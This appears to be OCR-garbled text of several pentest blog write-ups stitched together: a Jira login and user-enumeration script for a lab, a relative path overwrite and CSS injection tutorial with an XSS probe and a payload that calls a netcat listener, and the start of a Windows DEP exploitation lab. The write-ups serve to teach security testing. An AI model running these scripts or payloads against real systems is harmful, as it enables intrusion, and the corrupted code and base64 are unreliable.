User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept. '

Accept-Language: plen-US;q=0.7 en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://192.168.1.10:8080/secure/Dashboard jspa

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

IX-Requested-With: XMLHttpRequest

Content-Length: 35

Origin: http://192.168.1.10:8080

Connection: close

ICookie: atlassian.xsrf.token=BKGB-BR3Z-WT6Q-KXM6_2f25d4ea2¢929ac6fbd96e7dcd07f0bcf75de815_lout, JSESSIONID=28D9B03F03C6CAB72D706FF2143D13DF

l0s_username=admin&os_password=admin

Burp has a great feature: while we’re requesting the login page — use rightclick to check menu option
called:

IPOST /rest/gadget/1.0/login HTTP/1.1
Host: 192.168.1.10:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win6<4; x64; rv:82.0) Gecko/20100101 Firefox/8 Scan

pccept: 7 Send to Intruder Ctri+l
:cﬁz:g:;:zg;aﬂie Q;szif:n Tenas03 Send to Repeater Ctri+R
Referer: hitp://192.168.1.10:8080/secure/Dashboard jspa Sendto Sequencer

IContent-Type: application/x-www-form-uriencoded; charset=UTF-8 Send to Comparer

X-Requested-With: XMLHttpRequest Send to Decoder

Content-Length: 35 )

Origin: http://192.168.1.10:8080 Request in browser >
IConnection: close Copy as requests

ICookie: atlassian.xsrf.token=BKGB-BR3Z-WT6Q-KXM6_2f25d4ea2c929ac6fbd96e7dcd0T F2143(}

Copy as requests with session object
os_username=admin&os_password=admin Engagement tools >
Change request method
Change body encoding
Copy URL

Copy as curl command

Copy to file

As we can see we need to rewrite our skeleton-poc — after a while we should be here:

¢ Requestto hitp:i192.168.1.10:8080

| Foward || Drop |

Raw | Params | Headers | Hex

POST /rest/gadget/1.0/login HTTP/1.1
Host: 192.168.1.10:8080

User-Agent: Mezilla/5.0 (Windows NT 10.0; Win6
Accept: "

Accept-Language: plen-USq=0.7,en,q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.10:8080/secure/Das
Content-Type: applicationx-www-form-urlenc
X-Requested-With: XMLHttpRequest
Content-Length: 35
Origin: http://182.168.1.10:8080
Gonnection: close

Cookie: atlassian. xsrf token=BKGB-BR3Z-WT6Q-KXM6_225d4ea2c929ac6fbd96e7dcd0710bef75de815_lout, JSESSIONID=28D9B03F 03C6CA672D706FF2143D13DF

ata=burpe_dataj

os_username=admin&os_password=admin




Checking:

‘@ c@kali: ~/src/fjirappwn

print

According to the response — we now should be able to proceed with other requests we’re looking

for.

Request

Raw | Params | Headers | Hex

Response

Raw | Headers st]

POST /rest/gadget/1.0/login HTTP/1.1

Host. 192.168.1.10:8080

User-Agent: Mozila/5.0 (Windows NT 10.0; Wing4; x84, rv.82.0) Gecko/20100101 Firefox/82.0
IAccept: '

IAccept-Language: plen-US;q=0.7,en;q=0.3

lAccept.Encoding: gzip, defiate

Referer: http://192.168.1.10:8080/secure/Dashboard jspa

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XML HitpRequest

[Content-Length: 35

Origin: hitp:/1192.168.1.10:6080

[Connection: close

ICookie: atlassian.xsri.token=BKGB-BRIZ-WTEQ-KXME_2125¢4ea2c929acbbd96e7dcd070bl7 Sde815_lout,
SESSIONID=28D9803F03C6CAE72D706F F2143D13DF

bbs_username=admin&os_password=admin

T

HTTP/1.1200

X-AREQUESTID: 1352x184415x1
Referrer-Policy. strict-origin-when-cross-origin
X-XSS-Protection: 1, mode=block
X-Cantent-Type-Options: nesniff
X-Frame-Options: SAMEORIGIN
Content.Security-Policy: frame-ancestors ‘self

Set-Cookie: JSESSIONID=D3146CDDOC065272CC8DB83378283580; Path=/; HitpOnly

X-Seraph-LoginReason: OK

Set-Cookie: atiassian.xsr.token=BKGB-BR3IZ-WT6Q-KXME_00d35498b14b748819e3c 1ea9%b406a6e93479695_in

Path=/
X-ASESSIONID: 1ruéing

X-AUSERNAME: admin

Cache-Control no-cache, no-store, no-transform
Vary: User-Agent

Content.Type: application/json;charset=UTF.8
Date: Sun, 06 Dec 2020 21:32:21 GMT
Connection: close

Content-Length: 204

{"alowCookies™ true, "externall faise, "

nSucceeded™ true, “captchaF aiure” false, “loginError™ false. "

"true,"sEl ! " false “logi

contact your Jira log y

~faise, " ink" “please
“faise}

Let’s see if this is true:

c@kali:~/src/jirappwn$ cat jirappa.py
#!/usr/bin/env python

# jirappa.py - simple script to enumerate users
#06.12.2020 @ 16:26

#

import sys, re
import requests

#target = sys.argv[1] # Jira URL here

def main():
print '*'*70
print' >> Jirappa <<'
print '*'*70

print 'Checking address: %s' % ( target )

s = requests.session()

try:
init_req = s.get(target, verify=False)
init_resp = init_req.text

target = raw_input('Tell me what is your Jira address: ')




print '[+] Init req: OK, host alive'

find_ver = re.compile('span id="footer-build-information">(.*?)span title=')
found_ver = re.search(find_ver, init_resp)

if found_ver:
version = found_ver.group(1)
print '[+] Found version: %s' % ( version )

# init req ok, ver found, preparing login stage:
print '[+] Login req: preparing...'
login = raw_input(" What's your name soldier: ") #
aHROcHM6Ly93d3cueW91dHVizS5jb20vd2F0Y2g/dj11Y3g2U0dWWB0ZyZhYI9jaGFubmVsPWRpc2Nvec2Vhbijlx
login = login.rstrip()
password = raw_input(" Tell me your password now: ")
password = password.rstrip()
login_data = {
'os_username': login, # 'hello’,
'os_password': password, # 'world’,

'os_destination":",

'user_role":",

'atl_token":",

'login":'Log+In’
}

login_url = target + '/login.jsp' #'/rest/gadget/1.0/login' #'/login.jsp
login_req = s.post(login_url, data=login_data, verify=False)
login_resp = login_req.text

check_login = re.compile('for administrator')
login_ok = re.search(check_login, login_resp)

#print login_resp

if login_ok:

print '[+] Welcome ' + login + ' :*'
else:

print '[-] Still can not log in :Z'

#print login_resp

# not available
except NameError as e:
print '[-] Error:', e

if _name__=='_main__"
main()

c@kali:~/src/jirappwn$

It should look similar to the output presented on the screen below:



‘@ c@kali: ~/src/jirappwn

/jirappa.py

admin
: admin

[+] Welcome admin

So far, so good. ;] As we are ,logged-in” now, our very next step will be the request to check the
existence of the user(s list). To do that we need to change our script a little bit. Let’s change this:

c@kali:~/src/jirappwn$ cat -n jirappa.py | base64
ICAgICAXCSMhL3Vzci9iaW4vZW52IHB5dGhvbgogICAgIDIJlyBgaXJhcHBhLnB51COgc2ltcGxI
IHNjcmIwdCBObyBIbnVtZXJhdGUgdXNlcn MKICAgICAzCSMgMDYuMTIuMjAyMCBAIDE10j12CiAg
ICAgNAkjlAogICAgIDUJCiAgICAgNglpbXBvcnQgc3IzLCByZQogICAgIDcJaW1wb3JOIHIIcXVI
c3RzCiAgICAgOAKKICAgICASCSNOYXINZXQgPSBzeXMuYXIndIsxXSAjlIEppcmEgVVIMIGhlcmUK
ICAgIDEwCQoglCAgMTEJZGVmIG1haW4oKToKICAgIDEyCSAgcHIpbnQglyonKjcwCiAgICAxMwkg
IHByaW50ICcglCAgPj4gSmlyYXBwYSASPCcKICAgIDEOCSAgcHIpbnQglyonKjcwCiAgICAXNQkg
IHRhcmdIdCA9IHIhd19pbnB1dCgnVGVsbCBtZSB3aGFOIGIzIHIvdXIgSmlyYSBhZGRyZXNzOiAn
KQoglICAgMTYJCiAgICAxNwkgIlHByaW50ICdDaGVja2luZyBhZGRyZXNzOiAlcycg)SAolHRhemdl
dCAplAogICAgMTgJCiAgICAXOQkgIHMgPSByZXF1ZXNOcy52ZXNzaW9uKCkKICAgIDIwCSAgdHI5
0gog|CAgMEJICAgIGluaXRfcmVxIDOgey5nZXQodGFyZ2VOLCB2ZXIpZnk9RmFsc2UpCiAgICAy
MgkglCAgaW5pdF9yZXNwID0OgaW5pdF9yZXEudGV4dAoglCAgMjMICiAglCAyNAkgICAgcHIpbnQg
J1srXSBJbmIOIHJIcTogTOssIGhve3QgYWxpdmUnCiAgICAyNQkKICAgIDI2CSAgICBmaW5kX3ZI
CiA9IHJILmNvbXBpbGUoJ3NWYW4gaWQ9ImZvb3RIcilidWIsZClpbmZvecm1hdGlvbil+KC4qPylz
cGFulHRpdGxIPScplAoglCAgM|c)ICAgIGZvdW5kX3ZIciASIHIILNNIYXJjaChmaWS5kX3ZIciwg
aW5pdF9yZXNwKQoglCAgMjglCiAgICAyOQkgICAgaWYgZm91bmRfdmVyOgogICAgMzAJICAgICAg
dmVyc2lvbiA9IGZvdW5kX3ZIci5Sncm91cCgxKQoglCAgMzEJICAgICAgcHIpbnQgl1srXSBGb3Vu
ZCB2ZXJzaW9uOiAlcycglSAolHZIcnNpb24gKQogICAgMzIICiAglCAzMwkgICAglyBpbmIOIHII
cSBvaywgdmVylGZvdW5kLCBwecmVwYXJpbmcghG9naW4gc3RhZ2U61AogICAgMzQJICAgIHBYyaW50
ICdbK10gTG9naW4gcmVx0iBwecmVwYXIpbmculidnCiAgICAzNQkglCAgbGOnaW4gPSByYXdfaW5w
dXQoliAgICBXaGF0J3MgeW91ciBuYW1IIHNvbGRpZXI6ICIpICMgYUhSMGNITTZMeTkzZDNjdWVX
OTFkSFZpWIM1amlyMHZkMkYwWTJInL2RgMWxZM2cyVTBkV1dqQjBaeVpoWWw5amFHRnVibVZzUFdS
cGMyTnZjMIZoYmpleAoglCAgMzYJICAgIGxvZ2IulD0gbGInaW4ucnNOcmIwKCkKICAgIDM3CSAg
ICBWYXNzd29yZCA9IHJhd19pbnB1dCgilCAgIFRIbGwgbWUgeW91ciBwYXNzd29yZCBub3c6IClp
CiAgICAzOAkgICAgcGFzc3dvemQgPSBwYXNzd29yZC5yc3RyaXAoKQoglCAgMzkJICAgIGxvZ2lu
X2RhdGEgPSB7CiAgICAOMAkgICAgICAnb3NfdXNIcm5hbWUNOiBsb2dpbiwgICAglyAnaGVsbG8n
LAogICAgNDEJICAgICAgI29zX3Bhc3N3b3JklzogcGFzc3dvemQsICMgl3dvemxklywKICAgIDQy
CSAgICAgICdvc19kZXN0aW5hdGlvbiclycsCiAgICAOMwkglICAgICAndXNIcl9yb2xlJzonlywK
ICAgIDQOCSAgICAgICdhdGxfdGI9rZW4nOicnLAogICAgNDUJICAgICAgI2xvZ2IulzonTGINnKOIu
JwogICAgNDYJICAgIHOKICAgIDQ3CQoglCAgNDglICAgIGxvZ2IuX3VybCA9IHRhcmdIdCArICcv
bG9naW4uanNwlyAjly9yZXNOL2dhZGdIdC8xLjAvbGInaW4nICMnL2xvZ2luLmpzcCcKICAgIDQS5
CSAgICBsb2dpbl9yZXEgPSBzLnBvc3QobGInaWS5fdXJsLCBKYXRhPWxvZ2luX2RhdGEsIHZIcmIm
eT1GYWxzZSkKICAgIDUwCSAgICBsb2dpbl9yZXNwID0gbG9naW5fcmVxLnRleHQKICAgIDUxCQog
ICAgNTIICAgIGNoZWNrX2xvZ2lulDOgcmUuY29tcGlsZSgnZm9yIGFkbWIuaXNOcmFOb3InKQog
ICAgNTMJICAgIGxvZ2|uX29rIDOgcmUuc2VhcmNoKGNoZWNrX2xvZ2luLCBsb2dpbl9yZXNwKQog
ICAgNTQJCiAgICALINQKkgICAgI3ByaW50IGxvZ2IuX3JIc3AKICAgIDU2CQoglICAgNTCIICAEIGIm
1GxvZ2luX29rOgoglCAgNTgJICAgICAgcHIpbnQgl1srXSBXZWxjb21lICcgKyBsb2dpbiAriCcg
OionCiAgICA10QkgICAgZWxzZToKICAgIDYwCSAgICAgIHByaW50ICdbLVOgU3RpbGwgY2FulG5v
dCBsb2cgaW4gOlonCiAgICA2MQkKICAgIDYyCQoglCAgNjMICiAglCA2NAkgICAgI3ByaWS50IGxv
Z21uX3JIc3AKICAgIDY1CQogICAgN;YJICAjIG5vdCBhdmFpbGFibGUKICAGIDY3CSAgZXhjZXBO
IEShbWVFcnJvciBhcyBlOgoglCAgNjglICAgIHByaW50ICdbLVOgRXJyb316JywgZQogICAgNjkJ
CiAgICA3MAIpZiBfX25hbWV{XyA9PSANX19tYWIuX18nOgoglCAgNzEJICBtYWIuKCkK




| c@kali:~/src/jirappwn$

To this:

c@kali:~/src/jirappwn$ cat jirappa.py |base64
lyEvdXNyL2Jpbi9lbnYgcHI0aGIuCiMgamlyYXBwYS5weSAtIHNpbXBsZSBzY3JpcHQgdG8gZW51
bWVyYXRIIHVzZXJzCiMgMDYuMTIuMjAyMCBAIDE10jI2CiMgCgppbXBvcnQgc3IzLCByZQppbXBv
cnQgcmVxdWVzdHMKCiINOYXInZXQgPSBzeXMuYXJndIsxXSAjIEppcmEgVVIMIGhlcmUKCmRIZiBt
YWIuKCk6CiAgcHJpbnQglyonKjcwCiAgcH)pbnQglyAgICA+PiBKaXJhcHBhIDw8JwoglHByaW50
ICcqlyo3MAogIHRhecmdldCA9IHIhd19pbnB1dCgnVGVsbCBtZSB3aGFOIGIzIHIvdXIgSmlyYSBh
ZGRyZXNzOiAnKQoKICBwcmludCAnQ2hlY2tpbmcgYWRkecmVzczogI)XMnlCUgKCBOYXInZXQgKSAK
CiAgcyA9IHJIcXVIc3RzLnNIc3Npb240oKQoglHRyeToKICAgIGluaXRfcmVxIDOgcy5nZXQodGFy
Z2VOLCB2ZXJpZnk9RmFsc2UpCiAglCBpbmI0X3JIc3AgPSBpbmI0X3JIcS50ZXh0CgoglICAgcHIp
bnQgJ1srXSBJbmIOIHJIcTogTOssIGhve3QgYWxpdmUnCgoglCAgZmIuzZF92ZXIgPSByZS5jb21w
aWxIKCdzcGFulGIkPSImb290ZXItYnVpbGQtaW5mb3JtYXRpb24iPiguKj8pc3BhbiB0aXRsZTOn
KSAKICAgIGZvdW5kX3ZIciASIHJILNNIYXJjaChmaW5kX3ZIciwgaW5pdF9yZXNwKQoKICAgIGIm
1GZvdW5kX3ZIcjoKICAgICAgdmVyc2IvbiA91GZvdW5kX3ZIci5Sncm91cCgxKQoglCAgICBwcmlu
dCAnWytdIEZvdWS5kIHZIcnNpb2461CVz)yAllCggdmVyc2lvbiApCgoglCAglyBpbmIOIHJIcSBv
aywgdmVylGZvdWS5kLCBwecmVwYXJpbmcgbGInaW4gc3RhZ2U61AoglCAgcHIpbnQgl1srXSBMb2dp
biByZXE6IHByZXBhcmluZy4uLicKICAgIGxvZ2IulDOgecmF3X2lucHVOKCIgICAgV2hhdCdzIHIv
dXIgbmFtZSBzb2xkaWVyOiAiKSAjIGFIUjBjSE02THKk5M2QzY3VIVzkxZEhWaVpTNWpiM|jB2ZDIG
MFkyZy9kajFsWTNnMIUwZFdXaklwWnlaaFIsOWphR0Z1Ym1Wc1BXUnBjMk52YzJWaGJlqSXgKICAg
1GxvZ2lulD0ghG9naW4ucnNOcmIwKCkKICAgIHBhc3N3b3JkIDOgcmF3X2lucHVOKCIgICAgVGVs
bCBtZSB5b3VyIHBhc3N3b3JkiG5vdzoglikKICAgIHBhc3N3b3JkiDOgcGFzc3dvemQuenNOcmiw
KCkKICAgIGxvZ2luX2RhdGEgPSB7CiAgICAgICdvc191c2VybmFtZSc61GxvZ2IuLCAgICAjICdo
ZWxsbycsCiAglICAgICdvc19wYXNzd29yZCc6IHBhc3N3b3JkLCAjICd3b3JsZCcsCiAgICAgICdv
c19kZXN0OaW5hdGlvbic6lycsCiAgICAgICd1c2VyX3JvbGUnOicnLAoglCAgICAnYXRsX3Rva2Vu
JzonJywKICAgICAg)2xvZ2luJzonTGInKOluJwoglCAgfQoKICAgIGxvZ2luX3VybCASIHRhcmdl
dCArlCcvbG9naW4uanNwlyAjly9yZXNOL2dhZGdIdC8xLjAvbGInaW4nICMnL2xvZ2luLmpzcCcK
ICAgIGxvZ2luX3JIcSASIHMucG9zdChsb2dpbl91cmwsIGRhdGE9bGInaW5fZGFOYSwgdmVyaWZ5
PUZhbHNIKQogICAghbG9naW5fcmVzcCA9IGxvZ2IuX3JlcS50ZXh0CgogICAgY2hlY2tfbGInaWig
PSByZS5jb21waWxIKCdmb3lgYWRtaW5pc3RyYXRvcicpCiAgICBsb2dpbl9vayASIHJILNNIYXJj
aChjaGVjal9sb2dpbiwgbG9naW5fcmVzcCkKCiAgICBpZiBsb2dpbl9vazoKICAgICAgcHIpbnQg
J1srXSBXZWxjb21lICcgKyBsb2dpbiArlCcgOionCgoglCAgICByZWFkbWUgPSByYXdfaW5wdXQo
J1VzZXJuYW1l1Gxpc3QgbG9jYXRpb24gcGxIYXNIOIAnKQogICAgICBmcCA9IGOWZW4ocmVhZG1l
LCANncicpCiAgICAgIGZvciB1c2VylGlulGZwOgoglICAgICAgIHVzZXIgPSB1c2VyLnlzdHJpcCgp
CiAglCAgICAgCiAgICAgICAgdXNyX2VudW1fbGluayASIHRhcmdIdCArlCcvc2VjdXJIL1ZpZXdV
€2VySG92ZXluanNwYT9kZWNvecmFOb319bm9uZSZ1c2VybmFtZTOnICsgdXNIcgoglCAgICAgIHVz
ZXJfY2hlY2tfemVxIDOgcy5nZXQodXNyX2VudW1fbGluaywgdmVyaWZ5PUZhbHNIKQogICAgICAg
IHVzZXJfcmVzcCA9IHVzZXIfY2hlY2tfemVxLnRleHQKCgImaW5kX3VzZXIgPSByZS5jb2 1waWx!
KCc8YSBocmVmPSItYWIsdG86YWRtaW5AaGVyZS5jb20iPigukilAKCAGKTwvYT4nKQoglCAgICAg
1GZvdW5kX3VzZXIgPSByZS52ZWFyY2goZmluZF91c2VyLCB1c2VyX3JIc3ApCgoglCAgICAgIGIm
1GZvdW5kX3VzZXI6CiAgICAgICAgICBwcmludCAnWYytdICAgICBVc2VylGZvdW5kOiAlcycglSAo
1GZvdW5kX3VzZXIuZ3JvdXAoMSkgKQoKCgoglCAgZWxzZToKICAgICAgcHIpbnQgl1stXSBTdGls
bCBjYW4gbm90IGxvZyBpbiA6WicKCiAglyBub3QgYXZhaWxhYmxICiAgZXhjZXBOIEShbWVFcnlv
ciBhcyBlOgoglCAgcHIpbnQgl1stXSBFcnivejonLCBICgppZiBfX25hbWVXyAIPSANX19tYWIu
X18n0goglG1haW4oKQo=

c@kali:~/src/jirappwn$

After a while we should be somewhere here:



‘@ c@kali: ~/src/fjirappwn

Checking
[+] Init
[+] Foun

admin
admin

rname list location please: /home /jirapp rnamez . txt

found: admin

4% cat usernamez.tx

Looks good enough to be an initial check during our internal pentests[4]. ;)

Hope you'll find it useful.


https://code610.blogspot.com/p/contact.html
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Intro

From time to time[1] (for example when we’re using Burp Proxy[2] during the pentests) we can see
some interesting bug presented in the advisory tab — it is called Path Relative Stylesheet Import
vulnerability or Relative Path Overwrite. For our testing purposes — below — | will call it Path Relative
Style Injection[3] and today we’ll talk about it a little bit more. Here we go...

Environment
As usual[1] we’ll use:

- Kali Linux VM

- Burp Suite and the browsers (I used Firefox and IE11)

As you can see in [3] we need a few steps to get this attack scenario possible. Let’s start here:

This time we’ll also need some vulnerable web application.Today our scenario will look like that:

- we were asked to perform a pentest for the company XYZ, in scope is only webapp;

- on one of the webpages , we” found (using Burp;)) is the page vulnerable to RPO-injection attack.
WEe'll try to verify if the bug is indeed exploitable or if this is just a false positive.

Here we go!


https://code610.blogspot.com/p/mini-arts.html
https://portswigger.net/
https://portswigger.net/kb/issues/00200328_path-relative-style-sheet-import
https://code610.blogspot.com/p/mini-arts.html
https://portswigger.net/kb/issues/00200328_path-relative-style-sheet-import

Scenario
According to the link[3] we should be able to ‘detect’ this kind of bug using Burp Scanner[2].

But what if we can not use the Scanner or we simply don’t have it? Well. According to the post[3] we
can read the source ;)

So for our purpose let’s continue here: we need a sample vulnerable webpage. You can try to find
one somewhere at the github (unfortunately | used few examples mixed together so I'll not point the
exact example link here, sorry). Let’s use this one:

root@kali:/var/www/html/secure_page# vim index.php
<?php
session_start();

if(isset(S_GET['search'])){
S_SESSION['search'] =S_GET['search'];
}
>
<ldoctype html>
<html>
<head>
<title>rpo test page</title>
<meta http-equiv="X-UA-Compatible" content="IE=EmulatelE7">
<link rel="stylesheet" href="css/main.css">
</head>

<body>
<div class="topnav">
<a class="active" href="#home">supersite.com.org.net.yo</a>
<a href="#news">News</a>
<a href="#contact">Contect</a>
<a href="#about">About</a>
</div>
<div style="padding-left:16px;margin-top:30px">
<form method="GET" action="index.php">
<label>Search Product: </label>
<input type="text" name="search" placeholder="Search Here" style="">
<input type="submit" value="search">
</form>
<h2>result for: </h2>
<p><?php echo htmlentities($_SESSION['search']);?></p>
</div>

</body>
</html>

Bold line is the one to add to visit our secure_page later in IE (compatible to older versions). So...


https://portswigger.net/kb/issues/00200328_path-relative-style-sheet-import
https://portswigger.net/
https://portswigger.net/kb/issues/00200328_path-relative-style-sheet-import

Next one file in our webroot is presented below:

root@kali:/var/www/html/secure_page# cat css/main.css
hi1{

font-family: monospace;

color: white;

font-size: 50px;

}

body {

background-color: black;

}

That should be enough to understand and prepare the attack scenario.

Now our case is simple: (like you can find on multiple comercial websites) here we have a kind of a
‘search mechanism’ (that will echo-back users input). So far, so good but due to RPO attack we can
manipulate the CSS presented to the victim user.

Let’s see. We should be here — first screen — our example page:

<« c ﬁ} Vv 2 192.168.111.128/secure_page/index.php

supersite.com.org.net.yo News Contect About

Search Product: |Search Here | search

result for:

To get the ,bigger picture”:

Contents Issues
Host Method | URL ‘ Unencrypted communications
hitp://192.168.111.128 GET Isecure_pagefindex.php  * ( | Path-relative style sheetimport

| 1 Frameable response (potential Clickjacking)

I:\\‘C----m'--n:o 444 4790 Fal=as TS
Reguest | Response J Advisory T Request 1 I Response 1 I Request 2 I Response 2 I Request 3 IE
J Raw T Params T Headers | Hex

]
GET /secure_page/index.php HTTP/1.1 A . = -
Host 192 168 111 128 1 Path-relative style sheet import
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv.82.0)
Gecka20100101 Firefox/82.0

Accept: Issue: Path-relative style sheet import
text/htmi, application/xhtmi+xml, application/xmi;q=0.9 image/webp,*/*;q=0.8 Severity: Information
Accept-Language: pl,en-US;g=0.7 en;q=0.3 Confidence: Firm
Accept-Encoding: gzip, deflate Host http:/192.168.111.128
Connection: close Path Isecure_pagefindex.php
Cookie: PHPSESSID=iv4djg1eorbm84ip3684uealct
Upgrade-Insecure-Requests: 1
Issue detail

The application may be vulnerable to path-relative style sheet import (PRSSI) attacks
vulnerability are present (see issue background):

| described how you can configure Burp Scanner to create your own test scenario (for example for
,PRSSI only” as | did) — to read here[4].

As there were not-so-much details (at least ,for me” ;)) on the advisory | decided to dig a bit deeper
in online resources to understand more about this attack. For now - let’s go back to our search form
— we should be here:



https://code610.blogspot.com/2019/07/xss-in-dokuwiki.html

<« c @ © & 192.168.111.128/secure_page/index.php?search=sialala

supersite.com.org.net.vo News Contect About

Search Product: ‘sialala | search

result for:

sialala

l._k' {:}Inspektor Konsola ‘N. Sie¢ [© Debuger {} Edytor stylow mWydajnosc' ﬁP&

Q szukaj w kodzie HTML + A | T Eitry style
<mta hittp-equiv="X-UA-Compatible =:’—_e’—_= IE=EmulatelE7"> . hov cls + @
<link rel="stylesheet” href="css/main.c —
</head> element {3 { inlin
v <body> b

Let’s check how our GET request is presented on Network tab in WebDeveloperTools:

<=2 C W # 192.168.111.128/secure_page/index.php?search=sialala

supersite.com.org.net.vo News Contect About

Search Product: |Search Here || search

result for:

sialala

e w

L_'k' 'D Inspektor Konsola ‘N, Sie¢ [ Debuger {} Edytor stylow (] Wydajnosc {E Pamigc E Dane 'ﬁ' Dostepnosc

@ W Filtrowanie adreséw I Q @ Wszystkie HTML €SS JS XHR Czcionki Obrazy Media WebSocket Inne  []Wylac
Stan Metoda Domena Plik Inigjator Typ
GET # 192.168.111.128 index.php?search=sialala document html
GET H 192.168.111.128 favicon.ico FaviconLoaderjsm:.. html

Easy so far. ;] Let’s continue (according to ,relative paths”) with editing our ,,GET URL”, like this:




© & 192.168.111.128/secu re_page/index.php/what/now/?search=sialala2

< C ®

supersite.com.org.net.vo News Contect About

Search Product: |Search Here | search

result for:

sialala2

G‘ cllnspek'tor Konsola Tl Sie¢  [© Debuger {} Edytor stylow mWydajnoéc' ﬁPamiec’ EDane i‘Dos‘[epnos}c’ EEE

@ W Filtrowanie adresd I a @ Wszystkie HTML CS5 JS XHR Czconki Obrazy Media WebSocket Inne
Stan Metoda Domena Plik Inigjator T
288 GET 192.168.111.128 Jsecure_page/index.php/what/now/?search=sialala2 document
GET 192.168.111.128 main.css stylesheet
[404] GET 192.168.111.128 favi - “~vyiconLoaderjsm:1...

E| http://192.168.111.128/secure_page/index.php/what/now/css/main.css r

As the Firefox is ,not so often” used as a default browser in the corporate environment — let’s switch
to the other one — IE (I used the one available on Windows 10). We should be here, recreating the

steps we took above:

Ia € http://192.168.111.128/secure_page/index.php/asd/asd/index.php?search=sialala3
& rpo test page & rpo test page [T
supersite.com.org.net.yo News Contect About
Search Product: | || search |
result for:
sialala3
DOM Explorer Konsocla Debuger Sie¢ (») Wydajnosc Pamigc Emulacja
B W W T % ® Xk Y- Typzawartoii
Nazwa / Wynik / Inicjator /
Sciezka Protokét Metoda  Opis Typ zawarto$ci Odebrano Czas Typ
index.php?search=sialala3 HTTP GET 200 text/html 4198 2017 ms document
http://192.168.111.128/secure_page/index.php/asd/asd/ 0K
main.css HTTP GET 200 text/html 419 B 423 ms index.php:6
http://192.168.111.128/secure_page/index.php/asd/asd/css/ 0K parsedElement
[ http://192.168.111.128/secure page/index.php/asd/asd/css/main.css ‘

Ok, cool — but how can we do it during our internal pentests? Well — as there is echo-back let’s try
with a sample XSS. We should see the results similar to the one presented on the screen below:




& rpo test page E

2 rpo test page

supersite.com.org.net.vo News Contect About

Search Product: | “ search |

result for:

="><script=alert(1)</script>

& http://192.168.111.128/secure_page/index.php/asd/asd/indexphp?search=%27%3E%2

Looks like a false positive? ;S Maybe but let’s go back to the source of our example index.php file:

& nhttp//192.168.111.128/secure_page/index.php/asd/asd/index.php?search=%27%3

& rpo test page @ rpo test page [T

supersite.com.org.net.yo News Contect About

Search Product: | || search |

22%3E%3Cscript¥%3Ealert?s281%29%3C % 2Fscript%3E

result fO r. .@ root@kali: /var/www/html/secure_page

<a href="#about">About

>"><seript>alert(1)</script>

arch Here"

So, does it mean that we can inject our string between <style> tags? ;> It’s looks like. Below is the

original CSS file (we can see request to it on the screens above):

When we are visiting webpage ‘in a normal way’ ;) we should see this style:




<,

& http://192.168.111.128/secure_page/index.php
= rpo test page 2 rpo test page L]

supersite.com.org.net.yvo News Contect About

D

If there is a PRSSI possibility — CSS will be omitted:

eo & http://192.168.111.128/secure_page/index.php/asd/asd/index.php?searc

2 rpo test page 2 rpo test page L]

supersite.com.org.net.yo News Contect About

Search Product: | |I search |

result for:

-

=""><gcript=alert(1)</script=



PR —,you're worth IT”

As far as | see using this injection we can simply cut-out the original CSS and then, if our input is
changing the style of the page somehow (plus input is not filtered properly) — we can use it to
prepare an exploitation scenario. Let’s see.

After reading a bit more about CSS and CSS injection payloads | prepared a small list to check it
against our example vulnerable webpage. We should be here[6]:

C @ Q https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Applicatior

How to Test

Code should be analyzed to determine if a user is permitted to inject content in the CSS
context. Particularly, the way in which the website returns CSS rules on the basis of the

inputs should be inspected.

Let’s do it:
Ia & http://192.168.111.128/secure_page/index.php/asd/asd/index.php?search=background-image: url(http://192.168.111.128:443/7a);
& rpotest page & rpo test page Wy

supersite.com.org.net.vo News Contect About

Search Product: | “ search |

result for:

background-image: url(http://192.168.111.128:443/7a);

@ root@kali: fvar/www/html/secure_page
# nc -lvvp 443

listening on [any] 443 ...

~C sent @, rcvd @

As we can see it works! ;] Of course to not make it more complex then | should - this is a very basic
scenario. One more to change the color of presented page:

a & http://192.168.111.128/secure_page/index.php/asd/asd/index.php?search=%7B%7D*%]
& rpo test page 2 rpo test page [F

supersite.com.org.net.vo News Contect About

Search Product: ‘ H search ”

result for:

{}*{color:green;}/:

Future examples won’t be presented in this article. But if you’are still looking for some other
resources | prepared few links for you in the Reference section (below). Enjoy.


https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/05-Testing_for_CSS_Injection

References
Links/resources | found interesting while | was creating this article:

1 — Mini-arts
2 —Get Burp

3 - RPO by Portswigger

4 - Example Scan with Burp

5 - OWASP PRSSI

6 — Reading CureSec

7 — Burp’s reflection



https://code610.blogspot.com/p/mini-arts.html
https://portswigger.net/
https://portswigger.net/kb/issues/00200328_path-relative-style-sheet-import
https://code610.blogspot.com/2019/07/xss-in-dokuwiki.html
https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/05-Testing_for_CSS_Injection
https://curesec.com/blog/article/blog/Reading-Data-via-CSS-Injection-180.html
https://portswigger.net/kb/issues/00501300_css-injection-reflected

DEEP, DEEPER, DEP

»(-..)wouldn't mind(...)”



Intro

It’s been a while since | last time tried to exploit some Windows-based binary. Surprisingly,
there are still many online hosts based on Windows 7 (or even Windows XP), running very interesting
services. That's how | decided to prepare a new VM Lab few days ago. This time it’ll be based on
Windows 7.

Here we go...

Environment
Having this in mind | decided to look around on one of the posts | created few monts ago related to
basic protocol fuzzing [1]. You know | like to try harder[2] ;) so below we will check this bug again.

Let’s try.

To proceed with the bug described on the blog in my VM LAB | used:

- Windows 7 (x86)

- Kali VM (2.0)

- Windbg

- Immunity Debugger (with !'mona).

- PCMan FTP (ver: 2.0.7)

If we'll need any other tools or tweaks - I'll mention it in the content below.

Let’s move forward to our scenario...


https://code610.blogspot.com/2019/06/basic-protocol-fuzzing.html
https://code610.blogspot.com/2020/02/trying-harder.html

Current Scenario

At this stage let’s check the poc available on the blog[1]. As you will see below | rewrited it a little bit.
First we need to check if it’'ll work without DEP enabled. (spoiler alert: it won’t because of ,,some
updates” — at least for my case. Think was | decided to reinstall Windows VM again but this time |
decided to disconnect it during the installation. That’s how | was able to avoid ,, automatic updates”
during the installation.)

